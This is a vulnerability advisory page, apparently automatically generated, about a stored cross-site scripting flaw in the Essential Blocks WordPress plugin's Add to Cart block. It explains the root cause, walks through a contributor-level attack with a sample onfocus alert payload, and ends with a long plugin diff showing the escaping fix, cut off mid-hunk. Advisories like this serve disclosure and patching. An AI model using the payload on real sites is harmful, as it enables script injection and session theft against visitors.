Atomic Edge Proof of Concept automated generator using AI diff analysis
Published : May 4, 2026

CVE-2026-4658: Gutenberg Essential Blocks <= 6.0.4 – Authenticated (Contributor+) Stored Cross-Site Scripting via Block Attributes (essential-blocks)

CVE ID CVE-2026-4658
Severity Medium (CVSS 6.4)
CWE 79
Vulnerable Version 6.0.4
Patched Version 6.1.0
Disclosed April 30, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-4658:
This vulnerability allows authenticated attackers with Contributor-level access or higher to inject arbitrary web scripts into pages using the Essential Blocks Gutenberg plugin. The flaw resides in the Add to Cart block’s render callback, which fails to escape three attributes before outputting them into HTML attributes. The vulnerability carries a CVSS score of 6.4 and is classified as CWE-79 (Improper Neutralization of Input During Web Page Generation).

The root cause is in the render_callback() function in `essential-blocks/includes/Blocks/AddToCart.php`. The function uses a `sprintf()` call with `implode()` on lines 115-119 of the vulnerable version to build HTML div attributes. It directly passes `$_parent_classes`, `$_wrapper_classes`, and `$attributes[‘blockId’]` into the format string without any escaping. While the outer wrapper div uses `get_block_wrapper_attributes()` which applies proper escaping via WordPress core functions, the inner divs constructed with raw `sprintf()` lack this protection. The `className`, `classHook`, and `blockId` attributes flow into these unescaped positions.

An authenticated attacker with Contributor role accesses the WordPress block editor for a post or page. They insert the Essential Blocks Add to Cart block (`essential-blocks/add-to-cart`). In the block’s attribute panel, they set the `className` or `blockId` attribute to a payload containing JavaScript, such as `” onfocus=”alert(1)” autofocus=”true`. When the post is viewed by another user, the unsanitized value is inserted into the HTML class attribute, breaking out and executing the injected event handler. The attribute is stored in the post content and rendered on every page load.

The patch in version 6.1.0 adds `sanitize_html_class()` and `esc_attr()` calls to the three vulnerable output points in `AddToCart.php`. The line `’class’ => ‘root-‘ . $attributes[‘blockId’]` now wraps `$attributes[‘blockId’]` with `sanitize_html_class()`. The `sprintf()` call now wraps `implode()` calls with `esc_attr()`. This ensures that any injected HTML or JavaScript is neutralized before reaching the browser. The outer wrapper was already properly escaped.

Successful exploitation allows an attacker to execute arbitrary JavaScript in the context of any user who views the affected page. This can lead to session hijacking, credential theft, forced redirection to malicious sites, defacement, or theft of sensitive content. Since stored XSS persists in the database, every visitor to the injected page becomes a victim. Contributor access is relatively easy to obtain in many WordPress environments, making this a practical attack vector.

Differential between vulnerable and patched code

Below is a differential between the unpatched vulnerable code and the patched update, for reference.

Code Diff
--- a/essential-blocks/assets/admin/controls/controls.asset.php
+++ b/essential-blocks/assets/admin/controls/controls.asset.php
@@ -1 +1 @@
-<?php return array('dependencies' => array('lodash', 'react', 'react-dom', 'wp-api-fetch', 'wp-block-editor', 'wp-blocks', 'wp-components', 'wp-compose', 'wp-core-data', 'wp-data', 'wp-dom-ready', 'wp-editor', 'wp-element', 'wp-hooks', 'wp-i18n', 'wp-polyfill', 'wp-primitives', 'wp-rich-text'), 'version' => 'a33a609a4625df26828f');
+<?php return array('dependencies' => array('lodash', 'react', 'react-dom', 'wp-api-fetch', 'wp-block-editor', 'wp-blocks', 'wp-components', 'wp-compose', 'wp-core-data', 'wp-data', 'wp-dom-ready', 'wp-editor', 'wp-element', 'wp-hooks', 'wp-i18n', 'wp-polyfill', 'wp-primitives', 'wp-rich-text'), 'version' => '31bb88d01952704eeb0d');
--- a/essential-blocks/assets/admin/dashboard/admin.asset.php
+++ b/essential-blocks/assets/admin/dashboard/admin.asset.php
@@ -1 +1 @@
-<?php return array('dependencies' => array('react', 'react-dom', 'wp-api-fetch', 'wp-components', 'wp-data', 'wp-element', 'wp-hooks', 'wp-i18n'), 'version' => '1c4d959d6e6ebc796c94');
+<?php return array('dependencies' => array('react', 'react-dom', 'wp-api-fetch', 'wp-components', 'wp-data', 'wp-element', 'wp-hooks', 'wp-i18n'), 'version' => 'afc05cdeb0f882a6f5dd');
--- a/essential-blocks/assets/admin/editor/editor.asset.php
+++ b/essential-blocks/assets/admin/editor/editor.asset.php
@@ -1 +1 @@
-<?php return array('dependencies' => array('lodash', 'react', 'react-dom', 'wp-api-fetch', 'wp-blob', 'wp-block-editor', 'wp-blocks', 'wp-components', 'wp-compose', 'wp-core-data', 'wp-data', 'wp-date', 'wp-dom', 'wp-element', 'wp-escape-html', 'wp-hooks', 'wp-html-entities', 'wp-i18n', 'wp-keycodes', 'wp-notices', 'wp-polyfill', 'wp-primitives', 'wp-server-side-render'), 'version' => 'c7b8052578ca4d2ef37c');
+<?php return array('dependencies' => array('lodash', 'react', 'react-dom', 'wp-api-fetch', 'wp-blob', 'wp-block-editor', 'wp-blocks', 'wp-components', 'wp-compose', 'wp-core-data', 'wp-data', 'wp-date', 'wp-dom', 'wp-element', 'wp-escape-html', 'wp-hooks', 'wp-html-entities', 'wp-i18n', 'wp-keycodes', 'wp-notices', 'wp-polyfill', 'wp-primitives', 'wp-server-side-render'), 'version' => '3b87b2caee6c62ca22e3');
--- a/essential-blocks/assets/admin/global-styles/global-styles.asset.php
+++ b/essential-blocks/assets/admin/global-styles/global-styles.asset.php
@@ -1 +1 @@
-<?php return array('dependencies' => array('lodash', 'react', 'react-dom', 'wp-block-editor', 'wp-blocks', 'wp-components', 'wp-data', 'wp-edit-post', 'wp-editor', 'wp-element', 'wp-hooks', 'wp-i18n', 'wp-notices', 'wp-plugins'), 'version' => '9270d2eb42364bf68bee');
+<?php return array('dependencies' => array('lodash', 'react', 'react-dom', 'wp-block-editor', 'wp-blocks', 'wp-components', 'wp-data', 'wp-edit-post', 'wp-editor', 'wp-element', 'wp-hooks', 'wp-i18n', 'wp-notices', 'wp-plugins'), 'version' => '6dce258b3e216e9e9f52');
--- a/essential-blocks/assets/blocks/countdown/frontend.asset.php
+++ b/essential-blocks/assets/blocks/countdown/frontend.asset.php
@@ -1 +1 @@
-<?php return array('dependencies' => array('wp-dom-ready'), 'version' => 'd4ba21ff2cd673d256ff');
+<?php return array('dependencies' => array('wp-dom-ready'), 'version' => '40b0c14dccbd772f4df9');
--- a/essential-blocks/assets/blocks/image-comparison/frontend.asset.php
+++ b/essential-blocks/assets/blocks/image-comparison/frontend.asset.php
@@ -1 +1 @@
-<?php return array('dependencies' => array('react', 'wp-element'), 'version' => '5f54659605ac13c74c26');
+<?php return array('dependencies' => array('react', 'wp-element'), 'version' => 'e0edaad18d4b1c826f0f');
--- a/essential-blocks/assets/js/eb-animation-load.asset.php
+++ b/essential-blocks/assets/js/eb-animation-load.asset.php
@@ -1 +1 @@
-<?php return array('dependencies' => array(), 'version' => '63b2aeb07c8e7aa9dbe3');
+<?php return array('dependencies' => array(), 'version' => 'e8f380772bf37b85800d');
--- a/essential-blocks/assets/js/eb-editor-breakpoint.asset.php
+++ b/essential-blocks/assets/js/eb-editor-breakpoint.asset.php
@@ -1 +1 @@
-<?php return array('dependencies' => array(), 'version' => 'db844bc4056dc779b2dd');
+<?php return array('dependencies' => array(), 'version' => 'c12db78e932e78ecd5ba');
--- a/essential-blocks/assets/modules/write-with-ai/index.asset.php
+++ b/essential-blocks/assets/modules/write-with-ai/index.asset.php
@@ -1 +1 @@
-<?php return array('dependencies' => array('react', 'wp-blocks', 'wp-components', 'wp-data', 'wp-element', 'wp-i18n'), 'version' => 'd354396617c87fb7f5f9');
+<?php return array('dependencies' => array('react', 'wp-blocks', 'wp-components', 'wp-data', 'wp-element', 'wp-i18n'), 'version' => '6b4b37f74c52c96de1b4');
--- a/essential-blocks/assets/vendors/js/bundles.asset.php
+++ b/essential-blocks/assets/vendors/js/bundles.asset.php
@@ -1 +1 @@
-<?php return array('dependencies' => array(), 'version' => 'df5a12417f6428abc635');
+<?php return array('dependencies' => array(), 'version' => '20a4117dd04894dde39c');
--- a/essential-blocks/essential-blocks.php
+++ b/essential-blocks/essential-blocks.php
@@ -6,7 +6,7 @@
  * Description: The Ultimate Gutenberg blocks library to create WordPress sites in the Gutenberg Block Editor with 70+ essential blocks, patterns, templates for WooCommerce, posts, & more.
  * Author: WPDeveloper
  * Author URI: https://wpdeveloper.com
- * Version: 6.0.4
+ * Version: 6.1.0
  * License: GPL3+
  * License URI: http://www.gnu.org/licenses/gpl-3.0.txt
  * Text Domain: essential-blocks
--- a/essential-blocks/includes/Admin/Admin.php
+++ b/essential-blocks/includes/Admin/Admin.php
@@ -247,28 +247,28 @@
         );

         /**
-         * February Campaign 2026 Notice
+         * Spring Campaign 2026 Notice
          */
-        $feb_campaign2026_message = '<p class="eb_notice_content" style="margin-top: 0; margin-bottom: 10px;text-transform: capitalize;">Get <strong>70+ AI-Powered blocks</strong> and features & unlock smarter design flexibility on Gutenberg – now <strong>up to $100 OFF!</strong> 🎁 </p>
-        <a class="button button-primary" href="https://essential-blocks.com/feb2026-admin-notice" target="_blank" style="background-color: #5626E7; border-color: #5626E7;" >Upgrade to PRO</a>
-        <a class="button button-secondary" href="https://essential-blocks.com/feb2026-admin-notice-ltd" target="_blank" style="color: #171717; background-color: #EFEFEF; border-color: #D1D1D1;">Give Me LIFETIME Access</a>
-        <button data-dismiss="true" class="dismiss-btn button button-link" style="color: #424242; font-size: 14px;">I'll Grab It Later</button>';
-        $feb_campaign2026_notice = array(
+        $spring_campaign2026_message = '<p class="eb_notice_content" style="margin-top: 0; margin-bottom: 10px;text-transform: capitalize;">🌸 <strong>Spring Savings:</strong> Get 70+ AI-powered blocks and features to unlock smarter design flexibility on Gutenberg – now <strong>Flat 25% OFF!</strong> ⚡️ </p>
+        <a class="button button-primary" href="https://essential-blocks.com/spring2026-admin-notice" target="_blank" style="background-color: #5252DC; border-color: #5252DC; border-radius: 6px; font-size: 14px; font-weight: 500;" >Upgrade to PRO Now</a>
+        <a class="button button-secondary" href="https://essential-blocks.com/spring2026-admin-notice-ltd" target="_blank" style="color: #171717; background-color: #EFEFEF; border-color: #D1D1D1; border-radius: 6px; font-size: 14px; font-weight: 500;">Give Me LIFETIME Access</a>
+        <button data-dismiss="true" class="dismiss-btn button button-link" style="color: #424242; font-size: 14px;">Maybe Later</button>';
+        $spring_campaign2026_notice = array(
             'thumbnail' => ESSENTIAL_BLOCKS_URL . 'assets/images/eb-logo-full.svg',
-            'html' => $feb_campaign2026_message
+            'html' => $spring_campaign2026_message
         );

-        //February Campaign 2026 Notice Add
+        //Spring Campaign 2026 Notice Add
         $notices->add(
-            'feb_campaign2026',
-            $feb_campaign2026_notice,
+            'spring_campaign2026',
+            $spring_campaign2026_notice,
             array(
-                'start' => $notices->time(),
-                'expire' => strtotime( '11:59:59pm 08th March, 2026' ),
+                'start' => strtotime( '12:00:00am 08th April, 2026' ),
+                'expire' => strtotime( '11:59:59pm 10th May, 2026' ),
                 'classes' => 'eb-notice put-dismiss-notice',
                 'dismissible' => true,
                 'refresh' => ESSENTIAL_BLOCKS_VERSION,
-                'do_action' => 'eb_feb2026_campaign',
+                'do_action' => 'eb_spring2026_campaign',
                 'display_if' => ! ESSENTIAL_BLOCKS_IS_PRO_ACTIVE
             )
         );
--- a/essential-blocks/includes/Blocks/AddToCart.php
+++ b/essential-blocks/includes/Blocks/AddToCart.php
@@ -72,7 +72,7 @@

         $root_attributes = get_block_wrapper_attributes(
             [
-                'class' => 'root-' . $attributes[ 'blockId' ]
+                'class' => 'root-' . sanitize_html_class( $attributes[ 'blockId' ] )
              ]
         );

@@ -115,9 +115,9 @@
             </div>
         </div>',
             $root_attributes,
-            implode( ' ', $_parent_classes ),
-            implode( ' ', $_wrapper_classes ),
-            $attributes[ 'blockId' ],
+            esc_attr( implode( ' ', $_parent_classes ) ),
+            esc_attr( implode( ' ', $_wrapper_classes ) ),
+            esc_attr( $attributes[ 'blockId' ] ),
             $add_to_cart_markup,
         );

--- a/essential-blocks/includes/Blocks/DualButton.php
+++ b/essential-blocks/includes/Blocks/DualButton.php
@@ -5,6 +5,8 @@

 class DualButton extends Block
 {
+    protected $frontend_styles = [ 'essential-blocks-fontawesome' ];
+
     /**
      * Unique name of the block.
      *
@@ -14,19 +16,4 @@
     {
         return 'dual-button';
     }
-
-    /**
-     * Render callback
-     */
-    public function render_callback( $attributes, $content )
-    {
-        if ( ! is_admin() && isset( $attributes[ 'connectorType' ] ) && $attributes[ 'connectorType' ] === 'icon' ) {
-            $this->assets_manager->enqueue(
-                'fontawesome-frontend',
-                'css/font-awesome5.css'
-            );
-        }
-
-        return $content;
-    }
 }
--- a/essential-blocks/includes/Blocks/GoogleMap.php
+++ b/essential-blocks/includes/Blocks/GoogleMap.php
@@ -91,6 +91,19 @@
             }
         }

+        // Re-encode marker data from translated attributes into the rendered HTML.
+        // WPML translates marker titles/content in the block comment JSON, but the
+        // saved HTML still contains the old base64-encoded marker data. We need to
+        // replace it with the freshly encoded translated data.
+        if ( ! empty( $attributes['marker'] ) && is_array( $attributes['marker'] ) ) {
+            $encoded_marker = base64_encode( wp_json_encode( $attributes['marker'] ) );
+            $content        = preg_replace(
+                '/data-marker="[^"]*"/',
+                'data-marker="' . esc_attr( $encoded_marker ) . '"',
+                $content
+            );
+        }
+
         return $content;
     }
 }
--- a/essential-blocks/includes/Blocks/PostBlock.php
+++ b/essential-blocks/includes/Blocks/PostBlock.php
@@ -22,7 +22,16 @@
         'footerMeta'         => '[{"value":"avatar","label":"Author Avatar"},{"value":"author","label":"Author Name"},{"value":"date","label":"Published Date"}]',
         'authorPrefix'       => 'by',
         'datePrefix'         => 'on',
-        'showBlockContent'   => true
+        'showBlockContent'   => true,
+        'showFeaturedPost'   => false,
+        'featuredPostId'     => '',
+        'showFeaturedPostTitle' => true,
+        'showFeaturedPostContent' => false,
+        'showFeaturedPostMeta' => true,
+        'showFeaturedHeaderMeta' => true,
+        'showFeaturedFooterMeta' => true,
+        'featuredMetaItems' => '{}',
+        'featuredExcerptLength' => 10
      ];

     abstract public function get_default_attributes();
--- a/essential-blocks/includes/Blocks/PostMeta.php
+++ b/essential-blocks/includes/Blocks/PostMeta.php
@@ -152,7 +152,7 @@

         // Get published date with WordPress date format
         $date_format  = get_option( 'date_format' );
-        $publish_date = isset( $current_post->post_date ) ? date( $date_format, strtotime( $current_post->post_date ) ) : '';
+        $publish_date = isset( $current_post->post_date ) ? date_i18n( $date_format, strtotime( $current_post->post_date ) ) : '';

         // Get product SKU if applicable
         $product_sku = '';
--- a/essential-blocks/includes/Blocks/SocialShare.php
+++ b/essential-blocks/includes/Blocks/SocialShare.php
@@ -42,6 +42,18 @@
      */
     public function render_callback( $attributes, $content )
     {
+        // Sync translated iconText from socialDetails into profilesOnly.
+        // WPML may translate socialDetails but profilesOnly (which the
+        // view renders) stays stale. Merge translated values.
+        if ( ! empty( $attributes['socialDetails'] ) && ! empty( $attributes['profilesOnly'] ) ) {
+            foreach ( $attributes['profilesOnly'] as $i => &$profile ) {
+                if ( isset( $attributes['socialDetails'][ $i ]['iconText'] ) ) {
+                    $profile['iconText'] = $attributes['socialDetails'][ $i ]['iconText'];
+                }
+            }
+            unset( $profile );
+        }
+
         ob_start();
         Helper::views(
             'social-share',
--- a/essential-blocks/includes/Core/Block.php
+++ b/essential-blocks/includes/Core/Block.php
@@ -263,7 +263,11 @@
                 // Inline SVG placeholders before returning content
                 $content = $this->inline_svg_icons_via_regex($content);

-                return $this->render_callback($attributes, $content, $block);
+                $output = $this->render_callback($attributes, $content, $block);
+
+                // Also inline SVGs in the render_callback output (dynamic blocks
+                // generate HTML with SVG placeholders that aren't in $content).
+                return $this->inline_svg_icons_via_regex($output);
             };
         }

--- a/essential-blocks/includes/Core/Scripts.php
+++ b/essential-blocks/includes/Core/Scripts.php
@@ -74,6 +74,10 @@
         }

         // Enqueue Assets Only for FSE
+        // Note: In WP 6.3+, the site editor uses an iframe. Assets registered via
+        // register_block_type() with editor_script/editor_style are automatically
+        // injected into the iframe. This admin_init hook is a legacy workaround
+        // for older WP versions where site-editor.php didn't fire enqueue_block_editor_assets.
         global $pagenow;
         if ( $pagenow === 'site-editor.php' ) {
             add_action( 'admin_init', [ $this, 'block_editor_assets' ], 1 );
--- a/essential-blocks/includes/Integrations/Form.php
+++ b/essential-blocks/includes/Integrations/Form.php
@@ -497,10 +497,11 @@

     public function replace_placeholder_value( $input, $data )
     {
-        // Replace {key} placeholders with data values
+        // Replace {key} placeholders with data values, stripping rn to prevent header injection
         $replaced = preg_replace_callback( '/{([^}]+)}/', function ( $matches ) use ( $data ) {
-            $key = $matches[ 1 ];
-            return ! empty( $data[ $key ] ) ? $data[ $key ] : '';
+            $key   = $matches[ 1 ];
+            $value = ! empty( $data[ $key ] ) ? $data[ $key ] : '';
+            return str_replace( [ "r", "n", "rn" ], '', $value );
         }, $input );

         // Split by comma, trim whitespace, and remove empty values
--- a/essential-blocks/includes/Modules/StyleHandler.php
+++ b/essential-blocks/includes/Modules/StyleHandler.php
@@ -18,12 +18,12 @@
     private $fse_style_dir;
     private $fse_style_url;
     private $widget_style_filename;
-    private $fse_template_ids = array(  );
+    private $fse_template_ids = array();
     private $fse_page_template_id;
-    private $block_names             = array(  );
-    private $fse_block_names         = array(  );
-    private $widget_block_names      = array(  );
-    private $templately_template_ids = array(  );
+    private $block_names             = array();
+    private $fse_block_names         = array();
+    private $widget_block_names      = array();
+    private $templately_template_ids = array();
     /**
      * Enqueue the frontend scripts, ensures we only do it once.
      *
@@ -36,20 +36,20 @@
      *
      * @var array
      */
-    public static $_block_styles = array(  );
+    public static $_block_styles = array();

     /**
      * store generatepress elements id
      */
-    private $gp_ids = array(  );
+    private $gp_ids = array();

     /**
      * store astra addon advanced hooks id
      */
-    private $astra_hook_ids = array(  );
+    private $astra_hook_ids = array();

     public static function init() {
-        if ( null === self::$instance ) {
+        if (null === self::$instance) {
             self::$instance = new self();
         }

@@ -59,8 +59,8 @@
     public function __construct() {
         $upload_dir = wp_upload_dir();

-        $this->style_dir = $upload_dir[ 'basedir' ] . DIRECTORY_SEPARATOR . $this->prefix . DIRECTORY_SEPARATOR;
-        $this->style_url = set_url_scheme( $upload_dir[ 'baseurl' ] ) . '/' . $this->prefix . '/';
+        $this->style_dir = $upload_dir['basedir'] . DIRECTORY_SEPARATOR . $this->prefix . DIRECTORY_SEPARATOR;
+        $this->style_url = set_url_scheme($upload_dir['baseurl']) . '/' . $this->prefix . '/';

         $this->frontend_style_dir = $this->style_dir . $this->frontend_prefix . DIRECTORY_SEPARATOR;
         $this->frontend_style_url = $this->style_url . $this->frontend_prefix . '/';
@@ -68,28 +68,76 @@
         $this->fse_style_dir = $this->style_dir . $this->fse_prefix . DIRECTORY_SEPARATOR;
         $this->fse_style_url = $this->style_url . $this->fse_prefix . '/';

-        add_filter( 'dynamic_sidebar_params', array( $this, 'eb_widget_dynamic_sidebar_params' ) );
+        add_filter('dynamic_sidebar_params', array($this, 'eb_widget_dynamic_sidebar_params'));

-        add_action( 'save_post', array( $this, 'on_save_post' ), 10, 3 );
-        add_action( 'wp', array( $this, 'generate_post_content' ) );
+        add_action('save_post', array($this, 'on_save_post'), 10, 3);
+        add_action('wp', array($this, 'generate_post_content'));

-        add_action( 'eb_after_save_responsiveBreakpoints_settings', array( $this, 'remove_frontend_assets' ), 10, 1 );
-        add_action( 'eb_after_reset_responsiveBreakpoints_settings', array( $this, 'remove_frontend_assets' ), 10 );
-        add_filter( 'generate_element_post_id', array( $this, 'get_generatepress_element' ), 99 );
-        add_action( 'wp_footer', array( $this, 'eb_add_widget_css_footer' ) );
+        add_action('eb_after_save_responsiveBreakpoints_settings', array($this, 'remove_frontend_assets'), 10, 1);
+        add_action('eb_after_reset_responsiveBreakpoints_settings', array($this, 'remove_frontend_assets'), 10);
+        add_filter('generate_element_post_id', array($this, 'get_generatepress_element'), 99);
+        add_action('wp_footer', array($this, 'eb_add_widget_css_footer'));

         //Enqueue Styles based on Block theme or not
-        add_action( 'wp_enqueue_scripts', array( $this, 'enqueue_frontend_assets' ) );
-        if ( ! is_admin() ) {
-            add_filter( 'render_block', array( $this, 'load_frontend_scripts_conditionally' ), 10, 2 );
+        add_action('wp_enqueue_scripts', array($this, 'enqueue_frontend_assets'));
+        if (! is_admin()) {
+            add_filter('render_block', array($this, 'load_frontend_scripts_conditionally'), 10, 2);
             // add_action('template_redirect', array($this, 'load_frontend_scripts_conditionally_head'));
         }

         //For Templately templates
-        add_action( 'templately_printed_location', array( $this, 'templately_templates' ), 10, 3 );
+        add_action('templately_printed_location', array($this, 'templately_templates'), 10, 3);

         // Hook into Astra Addon advanced hooks processing
-        add_action( 'wp_enqueue_scripts', array( $this, 'astra_advanced_hooks_css_generation' ), 15 );
+        add_action('wp_enqueue_scripts', array($this, 'astra_advanced_hooks_css_generation'), 15);
+
+        // Hook into Blocksy Theme content blocks processing
+        add_action('blocksy:pro:content-blocks:pre-output', array($this, 'add_active_blocksy_block'));
+    }
+
+    /**
+     * Capture active Blocksy content block IDs and generate/enqueue their CSS.
+     * @param int $id
+     */
+    public function add_active_blocksy_block($id) {
+        $id = absint($id);
+
+        $element = get_post($id);
+        if (!$element || 'ct_content_block' !== $element->post_type || empty($element->post_content)) {
+            return;
+        }
+
+        $deps = apply_filters('eb_generated_css_frontend_deps', array());
+
+        $parsed_content = parse_blocks($element->post_content);
+        $blocksy_block_names = array();
+        $eb_blocks = array();
+
+        // Populate Blocksy block names
+        CSSParser::eb_block_style_recursive($parsed_content, $eb_blocks, $blocksy_block_names);
+
+        // 1. Generate & Enqueue Frontend (Static) CSS
+        if (!empty($blocksy_block_names)) {
+            $handle = $this->load_frontend_css_file($id, 'essential-blocks-frontend-style-blocksy-' . $id, $blocksy_block_names);
+            if (! empty($handle)) {
+                $deps[] = $handle;
+            }
+        }
+
+        // 2. Generate & Enqueue Instance CSS
+        $css_filepath = $this->style_dir . $this->get_eb_filename($id);
+        if (! file_exists($css_filepath)) {
+            $this->write_css_from_content($parsed_content, $id, $element->post_type);
+        }
+
+        if (file_exists($css_filepath)) {
+            wp_enqueue_style(
+                'eb-block-style-' . $id,
+                $this->style_url . $this->get_eb_filename($id),
+                $deps,
+                substr(md5(microtime(true)), 0, 10)
+            );
+        }
     }

     /**
@@ -100,102 +148,86 @@
     public function enqueue_frontend_assets() {
         global $post;

-        $deps = apply_filters( 'eb_generated_css_frontend_deps', array(  ) );
+        $deps = apply_filters('eb_generated_css_frontend_deps', array());

         //FSE Template Predefined Style Enqueue
-        if ( ! empty( $this->fse_page_template_id && is_int( $this->fse_page_template_id ) ) ) {
-            $this->load_frontend_css_file( $this->fse_page_template_id, 'essential-blocks-fse-frontend-style', $this->fse_block_names );
+        if (! empty($this->fse_page_template_id && is_int($this->fse_page_template_id))) {
+            $this->load_frontend_css_file($this->fse_page_template_id, 'essential-blocks-fse-frontend-style', $this->fse_block_names);
         }

         //Page/Post Predefined Style Enqueue
-        if ( ! empty( $post ) && ! empty( $post->ID ) ) {
-            $handle = $this->load_frontend_css_file( $post->ID, 'essential-blocks-frontend-style', $this->block_names );
-            if ( ! empty( $handle ) ) {
-                $deps[  ] = $handle;
+        if (! empty($post) && ! empty($post->ID)) {
+            $handle = $this->load_frontend_css_file($post->ID, 'essential-blocks-frontend-style', $this->block_names);
+            if (! empty($handle)) {
+                $deps[] = $handle;
             }

             //Page/Post Generated Style Enqueue
-            if ( file_exists( $this->style_dir . $this->prefix . '-' . $post->ID . '.min.css' ) ) {
-                wp_enqueue_style( 'eb-block-style-' . $post->ID, $this->style_url . $this->prefix . '-' . $post->ID . '.min.css', $deps, substr( md5( microtime( true ) ), 0, 10 ) );
+            if (file_exists($this->style_dir . $this->prefix . '-' . $post->ID . '.min.css')) {
+                wp_enqueue_style('eb-block-style-' . $post->ID, $this->style_url . $this->prefix . '-' . $post->ID . '.min.css', $deps, substr(md5(microtime(true)), 0, 10));
             }

             // Reusable block Style Enqueues
-            $reusableIds         = get_post_meta( $post->ID, '_eb_reusable_block_ids', true );
-            $reusableIds         = ! empty( $reusableIds ) ? $reusableIds : array(  );
-            $templateReusableIds = get_option( '_eb_reusable_block_ids', array(  ) );
-            $reusableIds         = array_unique( array_merge( $reusableIds, $templateReusableIds ) );
-            if ( ! empty( $reusableIds ) ) {
-                foreach ( $reusableIds as $reusableId ) {
-                    if ( file_exists( $this->style_dir . 'reusable-blocks/eb-reusable-' . $reusableId . '.min.css' ) ) {
-                        wp_enqueue_style( 'eb-reusable-block-style-' . $reusableId, $this->style_url . 'reusable-blocks/eb-reusable-' . $reusableId . '.min.css', $deps, substr( md5( microtime( true ) ), 0, 10 ) );
+            $reusableIds         = get_post_meta($post->ID, '_eb_reusable_block_ids', true);
+            $reusableIds         = ! empty($reusableIds) ? $reusableIds : array();
+            $templateReusableIds = get_option('_eb_reusable_block_ids', array());
+            $reusableIds         = array_unique(array_merge($reusableIds, $templateReusableIds));
+            if (! empty($reusableIds)) {
+                foreach ($reusableIds as $reusableId) {
+                    if (file_exists($this->style_dir . 'reusable-blocks/eb-reusable-' . $reusableId . '.min.css')) {
+                        wp_enqueue_style('eb-reusable-block-style-' . $reusableId, $this->style_url . 'reusable-blocks/eb-reusable-' . $reusableId . '.min.css', $deps, substr(md5(microtime(true)), 0, 10));
                     }
                 }
             }
         } else {
-            if ( ! empty( $this->block_names ) && ! empty( $this->templately_template_ids ) ) {
-                foreach ( $this->templately_template_ids as $template ) {
-                    $handle = $this->load_frontend_css_file( $template, 'essential-blocks-frontend-style-' . $template, $this->block_names );
-                    if ( ! empty( $handle ) ) {
-                        $deps[  ] = $handle;
+            if (! empty($this->block_names) && ! empty($this->templately_template_ids)) {
+                foreach ($this->templately_template_ids as $template) {
+                    $handle = $this->load_frontend_css_file($template, 'essential-blocks-frontend-style-' . $template, $this->block_names);
+                    if (! empty($handle)) {
+                        $deps[] = $handle;
                     }
                 }
             }
         }

         // generatepress elements
-        if ( in_array( 'gp-premium/gp-premium.php', apply_filters( 'active_plugins', get_option( 'active_plugins' ) ) ) ) {
-            $gp_elements = get_posts( array( 'post_type' => 'gp_elements' ) );
-            if ( is_array( $gp_elements ) && ! empty( $gp_elements ) ) {
-                foreach ( $gp_elements as $element ) {
-                    if ( file_exists( $this->style_dir . $this->get_eb_filename( $element->ID ) ) ) {
-                        wp_enqueue_style( 'eb-block-style-' . $element->ID, $this->style_url . $this->get_eb_filename( $element->ID ), $deps, substr( md5( microtime( true ) ), 0, 10 ) );
+        if (in_array('gp-premium/gp-premium.php', apply_filters('active_plugins', get_option('active_plugins')))) {
+            $gp_elements = get_posts(array('post_type' => 'gp_elements'));
+            if (is_array($gp_elements) && ! empty($gp_elements)) {
+                foreach ($gp_elements as $element) {
+                    if (file_exists($this->style_dir . $this->get_eb_filename($element->ID))) {
+                        wp_enqueue_style('eb-block-style-' . $element->ID, $this->style_url . $this->get_eb_filename($element->ID), $deps, substr(md5(microtime(true)), 0, 10));
                     }
                 }
             }
         }

-        //Blocksy theme support
-        if ( in_array( 'blocksy-companion-pro/blocksy-companion.php', apply_filters( 'active_plugins', get_option( 'active_plugins' ) ) ) ) {
-            $ct_elements = get_posts( array( 'post_type' => 'ct_content_block' ) );
-            if ( is_array( $ct_elements ) && ! empty( $ct_elements ) ) {
-                foreach ( $ct_elements as $element ) {
-                    if ( file_exists( $this->style_dir . $this->get_eb_filename( $element->ID ) ) ) {
-                        wp_enqueue_style(
-                            'eb-block-style-' . $element->ID,
-                            $this->style_url . $this->get_eb_filename( $element->ID ),
-                            $deps,
-                            substr( md5( microtime( true ) ), 0, 10 )
-                        );
-                    }
-                }
-            }
-        }

         //Template Templates
-        if ( is_array( $this->templately_template_ids ) && count( $this->templately_template_ids ) > 0 ) {
-            foreach ( $this->templately_template_ids as $template ) {
-                if ( file_exists( $this->style_dir . $this->get_eb_filename( $template ) ) ) {
+        if (is_array($this->templately_template_ids) && count($this->templately_template_ids) > 0) {
+            foreach ($this->templately_template_ids as $template) {
+                if (file_exists($this->style_dir . $this->get_eb_filename($template))) {
                     wp_enqueue_style(
                         'eb-block-style-' . $template,
-                        $this->style_url . $this->get_eb_filename( $template ),
+                        $this->style_url . $this->get_eb_filename($template),
                         $deps,
-                        substr( md5( microtime( true ) ), 0, 10 )
+                        substr(md5(microtime(true)), 0, 10)
                     );
                 }
             }
         }

         // NotificationX Post Type Support
-        if ( in_array( 'notificationx/notificationx.php', apply_filters( 'active_plugins', get_option( 'active_plugins' ) ) ) ) {
+        if (in_array('notificationx/notificationx.php', apply_filters('active_plugins', get_option('active_plugins')))) {
             $gutenberg_ids = $this->get_gutenberg_id_from_nx();
-            if ( is_array( $gutenberg_ids ) && ! empty( $gutenberg_ids ) ) {
-                foreach ( $gutenberg_ids as $element ) {
-                    if ( file_exists( $this->frontend_style_dir . $this->get_frontend_filename( $element ) ) ) {
+            if (is_array($gutenberg_ids) && ! empty($gutenberg_ids)) {
+                foreach ($gutenberg_ids as $element) {
+                    if (file_exists($this->frontend_style_dir . $this->get_frontend_filename($element))) {
                         wp_enqueue_style(
                             'frontend' . $element,
-                            $this->frontend_style_url . $this->get_frontend_filename( $element ),
+                            $this->frontend_style_url . $this->get_frontend_filename($element),
                             $deps,
-                            substr( md5( microtime( true ) ), 0, 10 )
+                            substr(md5(microtime(true)), 0, 10)
                         );
                     }
                 }
@@ -203,10 +235,10 @@
         }

         // Astra Addon Advanced Hooks CSS files are now handled by astra_advanced_hooks_css_generation() method
-        if ( in_array( 'astra-addon/astra-addon.php', apply_filters( 'active_plugins', get_option( 'active_plugins' ) ) ) && defined( 'ASTRA_ADVANCED_HOOKS_POST_TYPE' ) ) {
-            foreach ( $this->astra_hook_ids as $element_id ) {
-                if ( file_exists( $this->style_dir . $this->get_eb_filename( $element_id ) ) ) {
-                    wp_enqueue_style( 'eb-block-style-' . $element_id, $this->style_url . $this->get_eb_filename( $element_id ), $deps, substr( md5( microtime( true ) ), 0, 10 ) );
+        if (in_array('astra-addon/astra-addon.php', apply_filters('active_plugins', get_option('active_plugins'))) && defined('ASTRA_ADVANCED_HOOKS_POST_TYPE')) {
